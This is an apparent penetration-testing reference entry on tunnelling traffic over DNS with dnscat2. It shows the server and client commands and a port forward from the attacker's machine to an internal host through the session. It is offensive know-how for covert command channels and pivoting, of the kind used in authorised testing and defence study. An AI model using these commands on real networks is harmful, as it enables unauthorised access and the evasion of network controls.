Tunneling over DNS
A DNS tunnel with dnscat2, from the first connection to port forwarding through the session.
DNS
DNSCat
dnscat2 carries a tunnel over DNS. The example requires control of the named
DNS zone and appropriate resolution/delegation, or an explicitly configured
direct server path; DNS egress alone does not establish a working tunnel.
# On server
dnscat2-server feline.corp
# On client
dnscat feline.corpOnce communication is established, port forwarding can be set up from the server:
# List tunnels
dnscat2> windows
# Interact with a tunnel
dnscat2> window -i 1
# Create a port forward
command (pgdatabase01) 1> listen 127.0.0.1:4455 172.16.184.217:4646In the case above, a forward was created between port 4455 of the attacker and port 4646 of machine 172.16.184.217.
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 clarifies DNS zone and resolution prerequisites. No tunnel test.
Also searched as: tunneling, tunnel dns, exfiltration dns, dnscat